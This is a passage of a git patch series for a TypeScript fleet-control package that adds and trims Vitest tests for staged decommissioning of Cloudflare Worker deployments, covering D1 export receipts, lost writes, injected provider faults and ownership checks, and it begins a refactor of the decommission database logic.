candidateResult, + ); + expect(candidate.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-deleting', + state: 'discover', + }); + if (terminalState === 'verify') { + candidateResult = await continueBoundedDecommission( + candidate, + candidateResult, + ); + expect(candidate.store.record?.decommissionIntent?.state).toBe( + 'verify', + ); + } + candidate.backend.databaseExists = false; + const scans = candidate.backend.scanInputs.length; + const residuals = candidate.backend.residualCalls; + const deletes = candidate.backend.events.filter( + (event) => event === 'delete-database', + ).length; + await expect( + continueBoundedDecommission(candidate, candidateResult), + ).resolves.toMatchObject({ status: 'complete' }); + expect(candidate.backend.scanInputs).toHaveLength(scans); + expect(candidate.backend.residualCalls).toBe(residuals); + expect( + candidate.backend.events.filter((event) => event === 'delete-database'), + ).toHaveLength(deletes); + } + + const secondReconciliation = await boundedDecommissionHarness(); + let secondResult = await driveToPreDeleteVerify(secondReconciliation); + secondResult = await continueBoundedDecommission( + secondReconciliation, + secondResult, + ); + secondReconciliation.backend.databaseExists = true; + secondResult = await continueBoundedDecommission( + secondReconciliation, + secondResult, + ); + secondResult = await continueBoundedDecommission( + secondReconciliation, + secondResult, + ); + const scans = secondReconciliation.backend.scanInputs.length; + const residuals = secondReconciliation.backend.residualCalls; + const deletes = secondReconciliation.backend.events.filter( + (event) => event === 'delete-database', + ).length; + secondReconciliation.backend.databaseReadOutcomes.push( + { + status: 'fulfilled', + value: { + id: DATABASE_ID, + name: 'acme-production', + created: false, + }, + }, + { status: 'fulfilled', value: undefined }, + ); + await expect( + continueBoundedDecommission(secondReconciliation, secondResult), + ).resolves.toMatchObject({ status: 'complete' }); + expect(secondReconciliation.backend.scanInputs).toHaveLength(scans + 1); + expect(secondReconciliation.backend.residualCalls).toBe(residuals); + expect( + secondReconciliation.backend.events.filter( + (event) => event === 'delete-database', + ), + ).toHaveLength(deletes); + }); + + it('drains bounded and legacy normal decommission with one audit contract', async () => { + const bounded = await boundedDecommissionHarness(); + const boundedAudit = vi.fn(); + const boundedResult = await decommissionDeployment({ + backend: bounded.backend, + store: bounded.store, + spec: bounded.deployment, + audit: boundedAudit, + }); + expect(boundedResult.record).toMatchObject({ + phase: 'decommissioned', + decommissionIntent: { state: 'complete' }, + }); + expect(bounded.backend.receiptCalls).toHaveLength(1); + expect(boundedAudit).toHaveBeenCalledTimes(1); + + const active = await boundedDecommissionHarness(); + await startBoundedDecommission(active); + const activeAudit = vi.fn(); + const activeHasTrap = new Proxy(active.backend, { + has() { + throw new Error('active normal intent executed has trap'); + }, + get(target, property) { + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + decommissionDeployment({ + backend: activeHasTrap, + store: active.store, + spec: active.deployment, + audit: activeAudit, + }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + expect(activeAudit).toHaveBeenCalledTimes(1); + + const activeSwitch = await boundedDecommissionHarness(); + activeSwitch.store.record = { + ...(activeSwitch.store.record as FleetRecord), + backendSwitchIntent: { + subphase: 'domain-detach-authorized', + } as FleetRecord['backendSwitchIntent'], + }; + const switchHasTrap = new Proxy(activeSwitch.backend, { + has() { + throw new Error('active backend switch executed has trap'); + }, + get(target, property) { + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + decommissionDeployment({ + backend: switchHasTrap, + store: activeSwitch.store, + spec: activeSwitch.deployment, + }), + ).rejects.toThrow( + 'active backend switch decommission requires its dedicated provider and both specifications', + ); + + const race = await boundedDecommissionHarness(); + const ready = race.store.record as FleetRecord; + const started = await startBoundedDecommission(race); + const advancing = race.store.record as FleetRecord; + let reads = 0; + race.store.get = async () => { + reads += 1; + return reads === 1 ? ready : (race.store.record ?? advancing); + }; + race.store.record = advancing; + await expect( + decommissionDeployment({ + backend: race.backend, + store: race.store, + spec: race.deployment, + }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + expect(reads).toBeGreaterThan(1); + expect(started.status).toBe('pending'); + + const legacy = await boundedDecommissionHarness(); + await expect( + decommissionDeployment({ + backend: legacyOnlyBackend(legacy.backend), + store: legacy.store, + spec: legacy.deployment, + }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + expect(legacy.backend.receiptCalls).toEqual([]); + expect(legacy.backend.events).toContain('export'); + + for (const mode of ['partial', 'non-callable', 'throwing'] as const) { + const malformed = await boundedDecommissionHarness(); + const malformedBackend = new Proxy(malformed.backend, { + get(target, property) { + if (property === 'exportDatabaseReceipt') { + if (mode === 'throwing') throw new Error('receipt getter trap'); + return mode === 'partial' ? undefined : 1; + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + decommissionDeployment({ + backend: malformedBackend, + store: malformed.store, + spec: malformed.deployment, + }), + mode, + ).rejects.toThrow('database export receipt capability is malformed'); + expect(malformed.store.record?.decommissionIntent, mode).toBeUndefined(); + } + + for (const present of ['authority', 'exporter'] as const) { + const partial = await boundedDecommissionHarness(); + const hasCalls: PropertyKey[] = []; + const partialBackend = new Proxy(partial.backend, { + has(target, property) { + hasCalls.push(property); + if (property === 'advanceDecommissionAttachmentScan') return true; + if (property === 'databaseExportReceiptAuthority') { + return present === 'authority'; + } + if (property === 'exportDatabaseReceipt') { + return present === 'exporter'; + } + return Reflect.has(target, property); + }, + get(target, property) { + if ( + property === 'databaseExportReceiptAuthority' && + present !== 'authority' + ) { + return undefined; + } + if (property === 'exportDatabaseReceipt' && present !== 'exporter') { + return undefined; + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + decommissionDeployment({ + backend: partialBackend, + store: partial.store, + spec: partial.deployment, + }), + present, + ).rejects.toThrow('database export receipt capability is malformed'); + expect(hasCalls, present).toContain('advanceDecommissionAttachmentScan'); + expect(hasCalls, present).toContain( + present === 'authority' + ? 'databaseExportReceiptAuthority' + : 'exportDatabaseReceipt', + ); + expect(partial.backend.events, present).not.toContain('export'); + expect(partial.store.record?.decommissionIntent, present).toBeUndefined(); + } + + const lateFenced = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + lateFenced.store.record = { + ...(lateFenced.store.record as FleetRecord), + phase: 'database-exported', + databaseExportLocation: 'memory://legacy/export.sql', + databaseExportSha256: 'a'.repeat(64), + databaseExportSize: 42, + }; + lateFenced.backend.events.length = 0; + await expect( + decommissionDeployment({ + backend: lateFenced.backend, + store: lateFenced.store, + spec: lateFenced.deployment, + }), + ).rejects.toThrow( + 'normal decommission D1 work requires every application R2 resource to be deleted', + ); + expect(lateFenced.backend.events).toEqual([]); + expect(lateFenced.backend.receiptCalls).toEqual([]); + + for (const phase of [ + 'database-exported', + 'database-deleting', + 'decommissioned', + ] as const) { + const late = await boundedDecommissionHarness(); + late.store.record = { + ...(late.store.record as FleetRecord), + phase, + applicationResources: [], + databaseExportLocation: 'memory://legacy/export.sql', + databaseExportSha256: 'a'.repeat(64), + databaseExportSize: 42, + }; + late.backend.events.length = 0; + await expect( + decommissionDeployment({ + backend: late.backend, + store: late.store, + spec: late.deployment, + }), + phase, + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + expect(late.backend.receiptCalls, phase).toEqual([]); + if (phase === 'decommissioned') { + expect(late.backend.events, phase).toEqual([]); + } else { + expect(late.backend.events, phase).toContain('delete-database'); + } + } + + const blocked = await boundedDecommissionHarness(); + let blockedResult = await driveBoundedUntil( + blocked, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + blockedResult = await continueBoundedDecommission(blocked, blockedResult); + blocked.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'removed-before-restart' }, + providerFetchAttemptsReserved: 3, + }); + blockedResult = await continueBoundedDecommission(blocked, blockedResult); + expect(blockedResult.status).toBe('blocked'); + await expect( + decommissionDeployment({ + backend: blocked.backend, + store: blocked.store, + spec: blocked.deployment, + }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + + const newlyBlocked = await boundedDecommissionHarness(); + const newlyBlockedAudit = vi.fn(); + newlyBlocked.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'still-attached' }, + providerFetchAttemptsReserved: 3, + }); + await expect( + decommissionDeployment({ + backend: newlyBlocked.backend, + store: newlyBlocked.store, + spec: newlyBlocked.deployment, + audit: newlyBlockedAudit, + }), + ).rejects.toThrow( + 'bounded decommission remains blocked by a Worker attachment', + ); + expect(newlyBlockedAudit).not.toHaveBeenCalled(); + + const complete = await boundedDecommissionHarness(); + await decommissionDeployment({ + backend: complete.backend, + store: complete.store, + spec: complete.deployment, + }); + const hasTrap = new Proxy(complete.backend, { + has() { + throw new Error('complete wrapper executed has trap'); + }, + get(target, property) { + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + decommissionDeployment({ + backend: hasTrap, + store: complete.store, + spec: complete.deployment, + }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + }); + it('atomically consumes plain and WFP migration carriers while preserving snapshots', async () => { for (const kind of ['plain-worker', 'workers-for-platforms'] as const) { const harness = await boundedDecommissionHarness({ kind }); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index d3ad7b44..5e21361c 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -39,6 +39,23 @@ interface BoundedDecommissionProbe { readonly resourceStates: string[]; readonly bucketName: string; readonly lostWriteCount: number; + readonly precommitWriteFailureCount: number; + readonly provider: { + readonly databaseId: string; + readonly databasePresent: boolean; + readonly observedDatabaseId: string; + readonly observedDatabaseName: string; + readonly owner: string; + readonly receiptAuthority: string | null; + readonly receiptOperationId: string | null; + readonly receiptLocation: string | null; + readonly receiptSize: number | null; + readonly receiptSha256: string | null; + readonly receiptCommitCount: number; + readonly exportCallCount: number; + readonly deleteCount: number; + readonly ownershipAssertionCount: number; + }; readonly claims: Array<{ readonly resourceType: string; readonly resourceName: string; @@ -321,7 +338,8 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); const results: BoundedDecommissionProbe[] = []; results.push(await step({ kind: 'start' })); - for (let index = 0; index < 8; index += 1) { + for (let index = 0; index < 20; index += 1) { + if (results.at(-1)?.result.status === 'complete') break; results.push( await step({ kind: 'continue', @@ -329,10 +347,6 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }), ); } - const boundary = await step({ - kind: 'continue', - token: results.at(-1)?.result.token, - }); expect( results.map((result) => ({ @@ -416,17 +430,80 @@ describe.sequential('D1FleetStateStore Wrangler harness', { resourceState: 'deleted', trace: ['r2-find'], }, + { + revision: 9, + generation: 2, + lifecyclePhase: 'application-resources-deleted', + intentState: 'discover', + resourceState: 'deleted', + trace: ['d1-get', 'd1-owner'], + }, + { + revision: 10, + generation: 2, + lifecyclePhase: 'application-resources-deleted', + intentState: 'verify', + resourceState: 'deleted', + trace: ['d1-get', 'd1-owner', 'scan:discover'], + }, + { + revision: 11, + generation: 2, + lifecyclePhase: 'database-exported', + intentState: 'transitioning', + resourceState: 'deleted', + trace: [ + 'd1-get', + 'd1-owner', + 'scan:verify', + 'd1-get', + 'd1-owner', + 'd1-residuals', + 'd1-export', + ], + }, + { + revision: 12, + generation: 3, + lifecyclePhase: 'database-exported', + intentState: 'discover', + resourceState: 'deleted', + trace: ['d1-get', 'd1-owner'], + }, + { + revision: 13, + generation: 3, + lifecyclePhase: 'database-exported', + intentState: 'verify', + resourceState: 'deleted', + trace: ['d1-get', 'd1-owner', 'scan:discover'], + }, + { + revision: 14, + generation: 3, + lifecyclePhase: 'database-deleting', + intentState: 'transitioning', + resourceState: 'deleted', + trace: [ + 'd1-get', + 'd1-owner', + 'scan:verify', + 'd1-get', + 'd1-owner', + 'd1-residuals', + 'd1-delete', + 'd1-get', + ], + }, + { + revision: 15, + generation: 3, + lifecyclePhase: 'decommissioned', + intentState: 'complete', + resourceState: 'deleted', + trace: ['d1-get'], + }, ]); - expect(boundary).toMatchObject({ - result: { status: 'pending', token: results.at(-1)?.result.token }, - trace: [], - phase: 'decommission-advancing', - lifecyclePhase: 'application-resources-deleted', - intentState: 'transitioning', - revision: 8, - generation: 1, - resourceStates: ['deleted'], - }); const expectedClaims = [ { @@ -440,12 +517,87 @@ describe.sequential('D1FleetStateStore Wrangler harness', { resourceRole: 'deployment-worker', }, ]; - for (const result of [...results, boundary]) { + for (const result of results.slice(0, -1)) { expect(result.result.status).toBe('pending'); expect(result.phase).toBe('decommission-advancing'); expect(result.claims).toEqual(expectedClaims); expect(result.lostWriteCount).toBe(0); } + const terminal = results.at(-1); + expect(terminal).toMatchObject({ + result: { status: 'complete' }, + phase: 'decommissioned', + provider: { + databaseId: '00000000-0000-4000-8000-000000000201', + databasePresent: false, + receiptAuthority: 'd1-test://fleet-exports/receipts/v1', + receiptOperationId: '00000000-0000-4000-8000-000000000101', + receiptSize: 37, + receiptSha256: 'c'.repeat(64), + receiptCommitCount: 1, + exportCallCount: 1, + deleteCount: 1, + }, + claims: expectedClaims, + lostWriteCount: 0, + precommitWriteFailureCount: 0, + }); + + const reset = () => + probe<{ reset: true }>('bounded-decommission-reset', { + tenantTag: 'advance', + }); + const reachD1Verify = async ( + boundary: 'application-resources-deleted' | 'database-exported', + ): Promise => { + await reset(); + let current = await probe( + 'bounded-decommission-step', + { + tenantTag: 'advance', + operation: { kind: 'start' }, + seedAtD1: true, + }, + ); + for (let index = 0; index < 8; index += 1) { + if ( + current.lifecyclePhase === boundary && + current.intentState === 'verify' + ) { + return current; + } + current = await probe( + 'bounded-decommission-step', + { + tenantTag: 'advance', + operation: { kind: 'continue', token: current.result.token }, + }, + ); + } + throw new Error(`bounded harness did not reach ${boundary} verify`); + }; + const postScanMutations = [ + { mutation: 'absent', error: 'is absent' }, + { mutation: 'id', error: 'resolved with unexpected identity' }, + { mutation: 'name', error: 'resolved with unexpected identity' }, + { mutation: 'owner', error: "owned by 'foreign'" }, + ] as const; + for (const boundary of [ + 'application-resources-deleted', + 'database-exported', + ] as const) { + for (const row of postScanMutations) { + const verify = await reachD1Verify(boundary); + await expect( + probe('bounded-decommission-step', { + tenantTag: 'advance', + operation: { kind: 'continue', token: verify.result.token }, + afterScan: row.mutation, + }), + ).rejects.toThrow(row.error); + } + } + await reset(); }); it('converges a lost coordinator write and makes the replayed token stale in real D1', async () => { @@ -453,12 +605,46 @@ describe.sequential('D1FleetStateStore Wrangler harness', { operation: Readonly< { kind: 'start' } | { kind: 'continue'; token: unknown } >, - loseWrite = false, + faults: Readonly<{ + failWriteBeforeCommit?: boolean; + loseWrite?: boolean; + loseReceiptResponse?: boolean; + loseDeleteResponse?: boolean; + nextExportOutcome?: + | Readonly<{ + status: 'fulfilled'; + value?: 'default' | 'present' | 'absent'; + }> + | Readonly<{ + status: 'rejected'; + reason: 'error' | 'null' | 'undefined'; + }>; + nextDeleteOutcome?: + | Readonly<{ + status: 'fulfilled'; + value?: 'default' | 'present' | 'absent'; + }> + | Readonly<{ + status: 'rejected'; + reason: 'error' | 'null' | 'undefined'; + }>; + nextReadbackOutcome?: + | Readonly<{ + status: 'fulfilled'; + value?: 'default' | 'present' | 'absent'; + }> + | Readonly<{ + status: 'rejected'; + reason: 'error' | 'null' | 'undefined'; + }>; + nextOwnershipFailureOrdinal?: number; + seedAtD1?: boolean; + }> = {}, ) => probe('bounded-decommission-step', { tenantTag: 'advancelost', operation, - ...(loseWrite ? { loseWrite } : {}), + ...faults, }); const started = await step({ kind: 'start' }); const discover = await step({ @@ -467,7 +653,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); const verify = await step( { kind: 'continue', token: discover.result.token }, - true, + { loseWrite: true }, ); const replay = await step({ kind: 'continue', @@ -517,6 +703,326 @@ describe.sequential('D1FleetStateStore Wrangler harness', { resourceRole: 'deployment-worker', }, ]); + + let current = await step({ + kind: 'continue', + token: verify.result.token, + }); + for (let index = 0; index < 10; index += 1) { + if ( + current.lifecyclePhase === 'application-resources-deleted' && + current.intentState === 'verify' + ) { + break; + } + current = await step({ + kind: 'continue', + token: current.result.token, + }); + } + expect(current).toMatchObject({ + result: { status: 'pending' }, + lifecyclePhase: 'application-resources-deleted', + intentState: 'verify', + revision: 10, + generation: 2, + provider: { + receiptCommitCount: 0, + exportCallCount: 0, + deleteCount: 0, + }, + }); + const preExportVerifyToken = current.result.token; + + await expect( + step( + { kind: 'continue', token: preExportVerifyToken }, + { loseReceiptResponse: true }, + ), + ).rejects.toThrow('bounded receipt response lost'); + await expect( + step( + { kind: 'continue', token: preExportVerifyToken }, + { failWriteBeforeCommit: true }, + ), + ).rejects.toThrow('mixed atomic ownership commit'); + const exported = await step( + { kind: 'continue', token: preExportVerifyToken }, + { loseWrite: true }, + ); + expect(exported).toMatchObject({ + lifecyclePhase: 'database-exported', + intentState: 'transitioning', + revision: 11, + lostWriteCount: 1, + provider: { + receiptAuthority: 'd1-test://fleet-exports/receipts/v1', + receiptOperationId: '00000000-0000-4000-8000-000000000102', + receiptCommitCount: 1, + exportCallCount: 3, + deleteCount: 0, + }, + }); + const exportReplay = await step({ + kind: 'continue', + token: preExportVerifyToken, + }); + expect(exportReplay).toMatchObject({ + result: { token: exported.result.token }, + trace: [], + revision: 11, + provider: { receiptCommitCount: 1, exportCallCount: 3, deleteCount: 0 }, + }); + + const preDeleteDiscover = await step({ + kind: 'continue', + token: exported.result.token, + }); + const preDeleteVerify = await step({ + kind: 'continue', + token: preDeleteDiscover.result.token, + }); + const barrier = await step( + { kind: 'continue', token: preDeleteVerify.result.token }, + { loseDeleteResponse: true }, + ); + expect(barrier).toMatchObject({ + lifecyclePhase: 'database-deleting', + intentState: 'transitioning', + revision: 14, + trace: [ + 'd1-get', + 'd1-owner', + 'scan:verify', + 'd1-get', + 'd1-owner', + 'd1-residuals', + 'd1-delete', + 'd1-get', + ], + provider: { + databasePresent: false, + receiptCommitCount: 1, + exportCallCount: 3, + deleteCount: 1, + }, + }); + const terminal = await step( + { kind: 'continue', token: barrier.result.token }, + { loseWrite: true }, + ); + expect(terminal).toMatchObject({ + result: { status: 'complete' }, + trace: ['d1-get'], + phase: 'decommissioned', + lifecyclePhase: 'decommissioned', + intentState: 'complete', + revision: 15, + lostWriteCount: 1, + provider: { + databasePresent: false, + receiptCommitCount: 1, + exportCallCount: 3, + deleteCount: 1, + }, + }); + const barrierReplay = await step({ + kind: 'continue', + token: barrier.result.token, + }); + expect(barrierReplay).toMatchObject({ + result: { status: 'complete', token: terminal.result.token }, + trace: [], + revision: 15, + provider: { exportCallCount: 3, deleteCount: 1 }, + }); + + const reset = () => + probe<{ reset: true }>('bounded-decommission-reset', { + tenantTag: 'advancelost', + }); + const reachExportVerify = async () => { + const startedAtD1 = await step({ kind: 'start' }, { seedAtD1: true }); + const selected = await step({ + kind: 'continue', + token: startedAtD1.result.token, + }); + return step({ + kind: 'continue', + token: selected.result.token, + }); + }; + const reachDeleteVerify = async () => { + const exportVerify = await reachExportVerify(); + const exported = await step({ + kind: 'continue', + token: exportVerify.result.token, + }); + const deleteDiscover = await step({ + kind: 'continue', + token: exported.result.token, + }); + return step({ + kind: 'continue', + token: deleteDiscover.result.token, + }); + }; + await reset(); + const exportVerify = await reachExportVerify(); + const expectedClaims = [ + { + resourceType: 'r2-bucket', + resourceName: exportVerify.bucketName, + resourceRole: 'deployment-r2', + }, + { + resourceType: 'worker-script', + resourceName: 'advancelost-worker', + resourceRole: 'deployment-worker', + }, + ]; + await expect( + step( + { kind: 'continue', token: exportVerify.result.token }, + { + nextExportOutcome: { status: 'rejected', reason: 'error' }, + }, + ), + ).rejects.toThrow('bounded provider injected rejection'); + const afterExportFailure = await step({ kind: 'start' }); + expect(afterExportFailure).toMatchObject({ + lifecyclePhase: 'application-resources-deleted', + intentState: 'verify', + revision: 2, + provider: { + receiptCommitCount: 0, + exportCallCount: 1, + deleteCount: 0, + }, + claims: expectedClaims, + }); + const exportRetry = await step({ + kind: 'continue', + token: afterExportFailure.result.token, + }); + expect(exportRetry).toMatchObject({ + lifecyclePhase: 'database-exported', + intentState: 'transitioning', + revision: 3, + provider: { receiptCommitCount: 1, exportCallCount: 2, deleteCount: 0 }, + claims: expectedClaims, + }); + + const deleteDiscover = await step({ + kind: 'continue', + token: exportRetry.result.token, + }); + const deleteVerify = await step({ + kind: 'continue', + token: deleteDiscover.result.token, + }); + await expect( + step( + { kind: 'continue', token: deleteVerify.result.token }, + { + nextDeleteOutcome: { status: 'rejected', reason: 'error' }, + nextReadbackOutcome: { status: 'rejected', reason: 'undefined' }, + }, + ), + ).rejects.toThrow('"name":"undefined"'); + const afterReadbackFailure = await step({ kind: 'start' }); + expect(afterReadbackFailure).toMatchObject({ + lifecyclePhase: 'database-deleting', + intentState: 'transitioning', + revision: 6, + provider: { + databasePresent: true, + receiptCommitCount: 1, + exportCallCount: 2, + deleteCount: 0, + }, + claims: expectedClaims, + }); + let converged = await step({ + kind: 'continue', + token: afterReadbackFailure.result.token, + }); + for ( + let index = 0; + index < 6 && converged.result.status !== 'complete'; + index += 1 + ) { + converged = await step({ + kind: 'continue', + token: converged.result.token, + }); + } + expect(converged).toMatchObject({ + result: { status: 'complete' }, + phase: 'decommissioned', + revision: 10, + provider: { databasePresent: false, deleteCount: 1 }, + claims: expectedClaims, + }); + + await reset(); + const ownershipVerify = await reachDeleteVerify(); + const ownershipClaims = [ + { + resourceType: 'r2-bucket', + resourceName: ownershipVerify.bucketName, + resourceRole: 'deployment-r2', + }, + { + resourceType: 'worker-script', + resourceName: 'advancelost-worker', + resourceRole: 'deployment-worker', + }, + ]; + await expect( + step( + { kind: 'continue', token: ownershipVerify.result.token }, + { nextOwnershipFailureOrdinal: 1 }, + ), + ).rejects.toThrow('bounded provider lease ownership transferred'); + const afterOwnershipFailure = await step({ kind: 'start' }); + expect(afterOwnershipFailure).toMatchObject({ + lifecyclePhase: 'database-deleting', + intentState: 'transitioning', + revision: 6, + provider: { + databasePresent: true, + ownershipAssertionCount: 1, + deleteCount: 0, + }, + claims: ownershipClaims, + }); + let ownershipRetry = await step({ + kind: 'continue', + token: afterOwnershipFailure.result.token, + }); + for ( + let index = 0; + index < 6 && ownershipRetry.result.status !== 'complete'; + index += 1 + ) { + ownershipRetry = await step({ + kind: 'continue', + token: ownershipRetry.result.token, + }); + } + expect(ownershipRetry).toMatchObject({ + result: { status: 'complete' }, + phase: 'decommissioned', + revision: 10, + provider: { + databasePresent: false, + ownershipAssertionCount: 4, + deleteCount: 1, + }, + claims: ownershipClaims, + }); + await reset(); }); it('preserves operation, heartbeat, and release errors for both lease types', async () => { diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index ab02a27f..1e88c2c1 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -452,6 +452,7 @@ function reservedRecord( } const DECOMMISSION_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const DECOMMISSION_RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; function decommissionBase(): FleetRecord { return { @@ -619,6 +620,7 @@ describe('D1FleetStateStore release state', () => { updatedAt: '2026-08-29T12:34:56.789Z', requestedSpecDigest: 'e'.repeat(64), entryLifecyclePhase: 'rolling-back', + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, }, ); expect(JSON.stringify(explicitFixture)).toBe( @@ -644,6 +646,7 @@ describe('D1FleetStateStore release state', () => { entryLifecyclePhase: 'rolling-back', }, }, + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, lifecyclePhase: 'database-deleting', }), ); @@ -703,7 +706,10 @@ describe('D1FleetStateStore release state', () => { ...normalDecommissionIntentFixture( base, 'application-resources-deleted', - decommissionFixtureOptions(1), + { + ...decommissionFixtureOptions(1), + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, + }, ), state: 'discover', purpose, @@ -713,7 +719,10 @@ describe('D1FleetStateStore release state', () => { ...normalDecommissionIntentFixture( base, 'application-resources-deleted', - decommissionFixtureOptions(2), + { + ...decommissionFixtureOptions(2), + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, + }, ), state: 'verify', purpose, @@ -727,7 +736,10 @@ describe('D1FleetStateStore release state', () => { ...normalDecommissionIntentFixture( base, 'application-resources-deleted', - decommissionFixtureOptions(3), + { + ...decommissionFixtureOptions(3), + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, + }, ), state: 'blocked', purpose, @@ -738,7 +750,10 @@ describe('D1FleetStateStore release state', () => { const common = normalDecommissionIntentFixture( base, 'database-deleting', - decommissionFixtureOptions(4), + { + ...decommissionFixtureOptions(4), + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, + }, ); return { ...base, @@ -748,6 +763,7 @@ describe('D1FleetStateStore release state', () => { databaseExportSize: 42, decommissionIntent: { ...common, + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned', state: 'complete', }, @@ -788,6 +804,35 @@ describe('D1FleetStateStore release state', () => { } } const persisted = structuredClone(db.row); + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...transitioning, + decommissionIntent: { + ...transitioning.decommissionIntent, + databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY, + } as NonNullable, + }), + ), + ); + const d1Record = records[3]; + if (!d1Record?.decommissionIntent) { + throw new Error('missing D1 decommission fixture'); + } + const { + databaseExportReceiptAuthority: _databaseExportReceiptAuthority, + ...d1IntentWithoutAuthority + } = d1Record.decommissionIntent; + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...d1Record, + decommissionIntent: d1IntentWithoutAuthority as NonNullable< + FleetRecord['decommissionIntent'] + >, + }), + ), + ); for (const pendingArtifactVersion of ['', 'pending', 42]) { await expectInvalidDecommission( store.withDeploymentLease('acme', 'production', (lease) => From 47f8e2a2b7323463ac88916d36631d0730429b2a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 14:22:12 +0400 Subject: [PATCH 037/169] refactor(fleet-control): trim decommission test state Reuse the original continuation result during receipt replay and keep exported bytes in one conformance-fixture owner. --- .../fleet-control/test/fixtures/plain-worker-harnesses.ts | 2 -- packages/fleet-control/test/provision.test.ts | 6 +----- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts index 65dd6743..546a47d6 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -316,7 +316,6 @@ export class HarnessExportStore implements DurableDatabaseExportStore { location: string; size: number; sha256: string; - bytes: Uint8Array; }> >(); @@ -399,7 +398,6 @@ export class HarnessExportStore implements DurableDatabaseExportStore { identity, location, ...integrity, - bytes, }); this.exports.set(identity.databaseId, { fileName: `${identity.operationId}.sql`, diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 61f368b7..3630f955 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -6702,7 +6702,7 @@ describe('fleet provisioning', () => { it('converges receipt commits and database-exported writes without a second artifact', async () => { const receiptLoss = await boundedDecommissionHarness(); - let verify = await driveToPreExportVerify(receiptLoss); + const verify = await driveToPreExportVerify(receiptLoss); const receiptFailure = new Error('receipt response lost after commit'); receiptLoss.backend.receiptOutcomes.push({ status: 'rejected', @@ -6714,10 +6714,6 @@ describe('fleet provisioning', () => { ); expect(receiptLoss.store.record?.decommissionIntent?.state).toBe('verify'); expect(receiptLoss.backend.receiptWinners.size).toBe(1); - verify = { - status: 'pending', - token: verify.token, - }; await continueBoundedDecommission(receiptLoss, verify); expect(receiptLoss.backend.receiptWinners.size).toBe(1); expect(receiptLoss.backend.receiptCalls).toHaveLength(2); From ece0b777f3404f59bfcd89d3a6c6bcfbc5c8cf23 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 20:56:43 +0400 Subject: [PATCH 038/169] refactor(fleet-control): extract decommission database choreography --- .dependency-cruiser.cjs | 20 +- packages/fleet-control/CLAUDE.md | 1 + .../fleet-control/src/decommission-advance.ts | 200 +++-------------- .../src/decommission-database.ts | 202 ++++++++++++++++++ .../decommission-advance-imports-provider.ts | 3 +- .../decommission-database-imports-provider.ts | 2 + .../architecture-positive-controls.test.mjs | 78 ++++++- 7 files changed, 326 insertions(+), 180 deletions(-) create mode 100644 packages/fleet-control/src/decommission-database.ts create mode 100644 scripts/architecture-fixtures/decommission-database-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 8cf22ed9..a365f791 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -215,10 +215,28 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: 